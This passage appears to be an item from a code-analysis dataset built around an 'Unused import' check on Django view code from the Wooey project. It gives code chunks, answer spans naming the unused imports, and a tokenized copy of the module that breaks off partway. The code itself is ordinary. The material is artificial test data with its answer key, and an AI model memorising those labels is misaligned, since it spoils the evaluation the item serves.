**kwargs)\n if data['valid']:\n data['redirect'] = reverse('wooey:celery_results', kwargs={'job_id': data['job_id']})\n return JsonResponse(data)", "metadata": "root.WooeyScriptView.post", "header": "['class', 'WooeyScriptView', '(', 'WooeyScriptBase', ')', ':', '___EOS___']", "index": 158 }, { "content": "class WooeyHomeView(TemplateView):\n template_name = 'wooey/home.html'\n", "metadata": "root.WooeyHomeView", "header": "['module', '___EOS___']", "index": 165 }, { "content": " def get_context_data(self, **kwargs):\n #job_id = self.request.GET.get('job_id')\n ctx = super(WooeyHomeView, self).get_context_data(**kwargs)\n ctx['scripts'] = utils.get_current_scripts()\n\n # Check for logged in user\n if self.request.user.is_authenticated():\n # Get the id of every favorite (scrapbook) file\n ctype = ContentType.objects.get_for_model(Script)\n ctx['favorite_script_ids'] = Favorite.objects.filter(content_type=ctype, user__id=self.request.user.id).values_list('object_id', flat=True)\n else:\n ctx['favorite_script_ids'] = []\n\n return ctx", "metadata": "root.WooeyHomeView.get_context_data", "header": "['class', 'WooeyHomeView', '(', 'TemplateView', ')', ':', '___EOS___']", "index": 168 }, { "content": "class WooeyProfileView(TemplateView):\n template_name = 'wooey/profile/profile.html'\n", "metadata": "root.WooeyProfileView", "header": "['module', '___EOS___']", "index": 184 }, { "content": " def get_context_data(self, **kwargs):\n ctx = super(WooeyProfileView, self).get_context_data(**kwargs)\n\n if 'username' in self.kwargs:\n user = get_user_model()\n ctx['profile_user'] = user.objects.get(username=self.kwargs.get('username'))\n\n else:\n if self.request.user and self.request.user.is_authenticated():\n ctx['profile_user'] = self.request.user\n\n return ctx", "metadata": "root.WooeyProfileView.get_context_data", "header": "['class', 'WooeyProfileView', '(', 'TemplateView', ')', ':', '___EOS___']", "index": 187 }, { "content": "class WooeyScrapbookView(TemplateView):\n template_name = 'wooey/scrapbook.html'\n", "metadata": "root.WooeyScrapbookView", "header": "['module', '___EOS___']", "index": 201 }, { "content": " def get_context_data(self, **kwargs):\n ctx = super(WooeyScrapbookView, self).get_context_data(**kwargs)\n\n # Get the id of every favorite (scrapbook) file\n ctype = ContentType.objects.get_for_model(UserFile)\n favorite_file_ids = Favorite.objects.filter(content_type=ctype, user=self.request.user).values_list('object_id', flat=True)\n\n out_files = utils.get_file_previews_by_ids(favorite_file_ids)\n\n all = out_files.pop('all', [])\n archives = out_files.pop('archives', [])\n\n ctx['file_groups'] = out_files\n ctx['favorite_file_ids'] = favorite_file_ids\n\n return ctx", "metadata": "root.WooeyScrapbookView.get_context_data", "header": "['class', 'WooeyScrapbookView', '(', 'TemplateView', ')', ':', '___EOS___']", "index": 204 }, { "content": "class WooeySearchBase(View):\n\n model = None\n search_fields = []\n", "metadata": "root.WooeySearchBase", "header": "['module', '___EOS___']", "index": 222 }, { "content": " def get(self, request, *args, **kwargs):\n\n self.search_results = None\n if 'q' in request.GET:\n query_string = request.GET['q'].strip()\n\n query = utils.get_query(query_string, self.search_fields)\n self.search_results = self.model.objects.filter(query)\n\n return self.search(request, *args, **kwargs)", "metadata": "root.WooeySearchBase.get", "header": "['class', 'WooeySearchBase', '(', 'View', ')', ':', '___EOS___']", "index": 227 }, { "content": "class WooeyScriptSearchBase(WooeySearchBase):\n\n model = Script\n search_fields = ['script_name', 'script_description']", "metadata": "root.WooeyScriptSearchBase", "header": "['module', '___EOS___']", "index": 239 }, { "content": "class WooeyScriptSearchJSON(WooeyScriptSearchBase):\n \"\"\"\n Returns the result of the script search as JSON containing data only\n \"\"\"\n", "metadata": "root.WooeyScriptSearchJSON", "header": "['module', '___EOS___']", "index": 245 }, { "content": " def search(self, request):\n results = []\n for script in self.search_results:\n results.append({\n 'id': script.id,\n 'name': script.script_name,\n 'description': script.script_description,\n 'url': reverse('wooey:wooey_script', kwargs={'slug': script.slug}),\n })\n return JsonResponse({'results': results})", "metadata": "root.WooeyScriptSearchJSON.search", "header": "['class', 'WooeyScriptSearchJSON', '(', 'WooeyScriptSearchBase', ')', ':', '___EOS___']", "index": 250 }, { "content": "class WooeyScriptSearchJSONHTML(WooeyScriptSearchBase):\n \"\"\"\n Returns the result of the script search as JSON containing rendered template\n elements for display in the original page. This is a temporary function\n until the handling is moved to client side rendering.\n \"\"\"\n", "metadata": "root.WooeyScriptSearchJSONHTML", "header": "['module', '___EOS___']", "index": 262 }, { "content": " def search(self, request):\n results = []\n for script in self.search_results:\n results.append(render_to_string('wooey/scripts/script_panel.html', {'script': script}, context_instance=RequestContext(request)))\n return JsonResponse({'results': results})", "metadata": "root.WooeyScriptSearchJSONHTML.search", "header": "['class', 'WooeyScriptSearchJSONHTML', '(', 'WooeyScriptSearchBase', ')', ':', '___EOS___']", "index": 269 } ]
[ { "span": "import datetime as dt", "start_line": 2, "start_column": 0, "end_line": 2, "end_column": 21 }, { "span": "from django.http import HttpResponse, HttpResponseRedirect", "start_line": 6, "start_column": 0, "end_line": 6, "end_column": 58 }, { "span": "from django.conf import settings", "start_line": 8, "start_column": 0, "end_line": 8, "end_column": 32 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "from_", "\\u\\u", "future\\u\\u_", "import_", "abs", "olute", "\\u", "import_", ",_", "unicode", "\\u", "literals_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "collections_", "import_", "defaultdict_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "datetime_", "as_", "dt_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "django_", "._", "views_", "._", "generic_", "import_", "Det", "ail", "View_", ",_", "Templa", "te", "View_", ",_", "View_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "django_", "._", "template_", "._", "loader_", "import_", "render", "\\u", "to", "\\u", "string_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "django_", "._", "http_", "import_", "Http", "Response_", ",_", "Http", "Respons", "e", "Redirect_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "django_", "._", "core_", "._", "urlresolvers_", "import_", "reverse_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "django_", "._", "conf_", "import_", "settings_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "django_", "._", "forms_", "import_", "File", "Field_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "django_", "._", "utils_", "._", "translation_", "import_", "uge", "ttext", "\\u", "lazy_", "as_", "\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "django_", "._", "utils_", "._", "encoding_", "import_", "force", "\\u", "text_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "django_", "._", "template_", "import_", "Request", "Context_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "django_", "._", "contrib_", "._", "auth_", "import_", "get", "\\u", "user", "\\u", "model_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "django_", "._", "http_", "import_", "Http404_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "django_", "._", "contrib_", "._", "contenttype", "s_", "._", "models_", "import_", "Conten", "t", "Type_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "._", "._", "backend_", "import_", "utils_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "._", "._", "models_", "import_", "Wo", "oe", "y", "Job_", ",_", "Script_", ",_", "User", "File_", ",_", "Favorite", "_", ",_", "Script", "Version_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "._", "._", "import_", "settings_", "as_", "woo", "ey", "\\u", "settings_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "._", "._", "django", "\\u", "compat_", "import_", "Js", "on", "Response_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "class_", "Wo", "oe", "y", "Script", "Base_", "(_", "Det", "ail", "View_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "model_", "=_", "Script_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "slug", "\\u", "field_", "=_", "'", "slug", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "slug", "\\u", "url", "\\u", "kwarg_", "=_", "'", "slug", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Wo", "oe", "y", "Script", "Base_", "(_", "Det", "ail", "View_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "@_", "staticmethod_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "render", "\\u", "fn_", "(_", "s_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "s_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Wo", "oe", "y", "Script", "Base_", "(_", "Det", "ail", "View_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "\\u", "object_", "(_", "self_", ",_", "queryset_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "script", "\\u", "version_", "=_", "self_", "._", "kwargs_", "._", "get_", "(_", "'", "script", "\\u", "veri", "son", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "script", "\\u", "iteration_", "=_", "self_", "._", "kwargs_", "._", "get_", "(_", "'", "script", "\\u", "iterati", "on", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "script", "\\u", "version_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "queryset_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "queryset_", "=_", "self_", "._", "get", "\\u", "queryset_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "slug_", "=_", "self_", "._", "kwargs_", "._", "get_", "(_", "self_", "._", "slug", "\\u", "url", "\\u", "kwarg_", ",_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Ne", "xt", ",", " ", "try", " ", "look", "ing", " ", "up", " ", "by", " ", "slug", "._", "\\u\\u\\uNL\\u\\u\\u_", "if_", "slug_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "slug", "\\u", "field_", "=_", "self_", "._", "get", "\\u", "slug", "\\u", "field_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "queryset_", "=_", "queryset_", "._", "filter_", "(_", "**_", "{_", "slug", "\\u", "field_", ":_", "slug_", ",_", "'", "script", "\\u", "version", "'_", ":_", "script", "\\u", "version_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "script", "\\u", "iteration_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "queryset_", "._", "filter_", "(_", "script", "\\u", "iteration_", "=_", "script", "\\u", "iteration_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "queryset_", "._", "latest_", "(_", "'", "script", "\\u", "iterati", "on", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Attribute", "Error_", "(_", "\"", "Gene", "ric", " ", "deta", "il", " ", "view", " ", "%", "s", " ", "must", " ", "be", " ", "call", "ed", " ", "with", " ", "\"_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "eit", "her", " ", "an", " ", "object", " ", "pk", " ", "or", " ", "a", " ", "slug", ".\"_", "\\u\\u\\uNL\\u\\u\\u_", "%_", "self_", "._", "\\u\\u", "class\\u\\u_", "._", "\\u\\u", "name\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Get", " ", "the", " ", "single", " ", "item", " ", "from", " ", "the", " ", "filter", "ed", " ", "queryset_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "obj_", "=_", "queryset_", "._", "get_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "queryset_", "._", "model_", "._", "Do", "es", "Not", "Exist_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Http404_", "(_", "\\u_", "(_", "\"", "No", " ", "%", "(", "verbo", "se", "\\u", "name", ")", "s", " ", "found", " ", "matchi", "ng", " ", "the", " ", "query", "\"_", ")_", "%_", "\\u\\u\\uNL\\u\\u\\u_", "{_", "'", "verbo", "se", "\\u", "name", "'_", ":_", "queryset_", "._", "model_", "._", "\\u", "meta_", "._", "verbo", "se", "\\u", "name_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "obj_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "super_", "(_", "Wo", "oe", "y", "Script", "Base_", ",_", "self_", ")_", "._", "get", "\\u", "object_", "(_", "queryset_", "=_", "queryset_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Wo", "oe", "y", "Script", "Base_", "(_", "Det", "ail", "View_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "\\u", "context", "\\u", "data_", "(_", "self_", ",_", "**_", "kwargs_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "context_", "=_", "super_", "(_", "Wo", "oe", "y", "Script", "Base_", ",_", "self_", ")_", "._", "get", "\\u", "context", "\\u", "data_", "(_", "**_", "kwargs_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "return", "s", " ", "the", " ", "model", "s", " ", "require", "d", " ", "and", " ", "option", "al", " ", "fields", " ", "as", " ", "html_", "\\u\\u\\uNL\\u\\u\\u_", "job", "\\u", "id_", "=_", "self_", "._", "kwargs_", "._", "get_", "(_", "'", "job", "\\u", "id", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "initial_", "=_", "defaultdict_", "(_", "list_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "job", "\\u", "id_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "job_", "=_", "Wo", "oe", "y", "Job_", "._", "objects_", "._", "get_", "(_", "pk_", "=_", "job", "\\u", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "job_", "._", "user_", "is_", "None_", "or_", "(_", "self_", "._", "request_", "._", "user_", "._", "is", "\\u", "authenticated_", "(_", ")_", "and_", "job_", "._", "user_", "==_", "self_", "._", "request_", "._", "user_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "context_", "[_", "'", "job", "\\u", "info", "'_", "]_", "=_", "{_", "'", "job", "\\u", "id", "'_", ":_", "job", "\\u", "id_", ",_", "'", "url", "'_", ":_", "job_", "._", "get", "\\u", "resu", "bmi", "t", "\\u", "url_", "(_", ")_", ",_", "'", "data\\u", "url", "'_", ":_", "job_", "._", "script", "\\u", "version_", "._", "script_", "._", "get", "\\u", "url_", "(_", ")_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "i_", "in_", "job_", "._", "get", "\\u", "parameters_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "value_", "=_", "i_", "._", "value_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "value_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "initial_", "[_", "i_", "._", "parameter_", "._", "slug_", "]_", "._", "append_", "(_", "value_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "context_", "[_", "'", "form", "'_", "]_", "=_", "utils_", "._", "get", "\\u", "form", "\\u", "groups_", "(_", "script", "\\u", "version_", "=_", "self_", "._", "object_", "._", "late", "st", "\\u", "version_", ",_", "initial", "\\u", "dict_", "=_", "initial_", ",_", "render", "\\u", "fn_", "=_", "self_", "._", "render", "\\u", "fn_", ",_", "pk_", "=_", "self_", "._", "object_", "._", "pk_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "context_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Wo", "oe", "y", "Script", "Base_", "(_", "Det", "ail", "View_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "post_", "(_", "self_", ",_", "request_", ",_", "*_", "args_", ",_", "**_", "kwargs_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "post_", "=_", "request_", "._", "POST_", "._", "copy_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "user_", "=_", "request_", "._", "user_", "if_", "request_", "._", "user_", "._", "is", "\\u", "authenticated_", "(_", ")_", "else_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "woo", "ey", "\\u", "settings_", "._", "WO", "OE", "Y", "\\u", "ALLOW", "\\u", "ANON", "YM", "OUS", "_", "and_", "user_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "{_", "'", "valid", "'_", ":_", "False_", ",_", "'", "error", "s", "'_", ":_", "{_", "'\\u", "\\u", "all", "\\u\\u'_", ":_", "[_", "force", "\\u", "text_", "(_", "\\u_", "(_", "'", "You", " ", "are", " ", "not", " ", "permit", "ted", " ", "to", " ", "access", " ", "this", " ", "script", ".'_", ")_", ")_", "]_", "}_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "form_", "=_", "utils_", "._", "get", "\\u", "master", "\\u", "form_", "(_", "pk_", "=_", "post_", "[_", "'", "woo", "ey", "\\u", "type", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "TOD", "O", ":", " ", "Check", " ", "with", " ", "people", " ", "who", " ", "know", " ", "more", " ", "if", " ", "there", "'", "s", " ", "a", " ", "smart", "er", " ", "way", " ", "to", " ", "do", " ", "this_", "\\u\\u\\uNL\\u\\u\\u_", "utils_", "._", "validat", "e\\u", "form_", "(_", "form_", "=_", "form_", ",_", "data_", "=_", "post_", ",_", "files_", "=_", "request_", "._", "FILES_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "for", " ", "cloned", " ", "jobs", ",", " ", "we", " ", "don", "'", "t", " ", "have", " ", "the", " ", "files", " ", "in", " ", "input", " ", "fields", ",", " ", "the", "y", "'", "ll", " ", "be", " ", "in", " ", "a", " ", "list", " ", "like", " ", "['", "',", " ", "filename", "]_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Thi", "s", " ", "will", " ", "caus", "e", " ", "issue", "s", "._", "\\u\\u\\uNL\\u\\u\\u_", "to", "\\u", "delete_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "i_", "in_", "post_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "isinstance_", "(_", "form_", "._", "fields_", "._", "get_", "(_", "i_", ")_", ",_", "File", "Field_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "if", " ", "we", " ", "have", " ", "a", " ", "value", " ", "set", ",", " ", "reass", "ert", " ", "this_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "new", "\\u", "values_", "=_", "list_", "(_", "filter_", "(_", "lambda_", "x_", ":_", "x_", ",_", "post_", "._", "getlist_", "(_", "i_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "clean", "ed", "\\u", "values_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "new", "\\u", "value_", "in_", "new", "\\u", "values_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "if_", "i_", "not_", "in_", "request_", "._", "FILES_", "and_", "(_", "i_", "not_", "in_", "form_", "._", "clean", "ed", "\\u", "data_", "or_", "(_", "new", "\\u", "value_", "and_", "(_", "form_", "._", "clean", "ed", "\\u", "data_", "[_", "i_", "]_", "is_", "None_", "or_", "not_", "[_", "j_", "for_", "j_", "in_", "form_", "._", "clean", "ed", "\\u", "data_", "[_", "i_", "]_", "if_", "j_", "]_", ")_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "this", " ", "is", " ", "a", " ", "previ", "ously", " ", "set", " ", "field", ",", " ", "so", " ", "a", " ", "cloned", " ", "job_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "if_", "new", "\\u", "value_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "clean", "ed", "\\u", "values_", "._", "append_", "(_", "utils_", "._", "get", "\\u", "storage_", "(_", "local_", "=_", "False_", ")_", "._", "open_", "(_", "new", "\\u", "value_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "to", "\\u", "delete_", "._", "append_", "(_", "i_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "clean", "ed", "\\u", "values_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "form_", "._", "clean", "ed", "\\u", "data_", "[_", "i_", "]_", "=_", "clean", "ed", "\\u", "values_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "i_", "in_", "to", "\\u", "delete_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "i_", "in_", "form_", "._", "errors_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "del_", "form_", "._", "errors_", "[_", "i_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "bec", "aus", "e", " ", "we", " ", "can", " ", "have", " ", "multiple", " ", "files", " ", "for", " ", "a", " ", "field", ",", " ", "we", " ", "need", " ", "to", " ", "update", " ", "our", " ", "form", ".", "clean", "ed", "\\u", "data", " ", "to", " ", "be", " ", "a", " ", "list", " ", "of", " ", "files_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "i_", "in_", "request_", "._", "FILES_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "v_", "=_", "request_", "._", "FILES_", "._", "getlist_", "(_", "i_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "i_", "in_", "form_", "._", "clean", "ed", "\\u", "data_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "cleaned_", "=_", "form_", "._", "clean", "ed", "\\u", "data_", "[_", "i_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cleaned_", "=_", "cleaned_", "if_", "isinstance_", "(_", "cleaned_", ",_", "list_", ")_", "else_", "[_", "cleaned_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "form_", "._", "clean", "ed", "\\u", "data_", "[_", "i_", "]_", "=_", "list_", "(_", "set_", "(_", "cleaned_", ")_", "._", "union_", "(_", "set_", "(_", "v_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "not_", "form_", "._", "errors_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "data", " ", "=", " ", "form", ".", "clean", "ed", "\\u", "data_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "version", "\\u", "pk_", "=_", "form_", "._", "clean", "ed", "\\u", "data_", "._", "get_", "(_", "'", "woo", "ey", "\\u", "type", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "script", "\\u", "version_", "=_", "Script", "Version_", "._", "objects_", "._", "get_", "(_", "pk_", "=_", "version", "\\u", "pk_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "valid_", "=_", "utils_", "._", "valid", "\\u", "user_", "(_", "script", "\\u", "version_", "._", "script_", ",_", "request_", "._", "user_", ")_", "._", "get_", "(_", "'", "valid", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "valid_", "is_", "True_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "group", "\\u", "valid_", "=_", "utils_", "._", "valid", "\\u", "user_", "(_", "script", "\\u", "version_", "._", "script_", "._", "script", "\\u", "group_", ",_", "request_", "._", "user_", ")_", "._", "get_", "(_", "'", "valid", 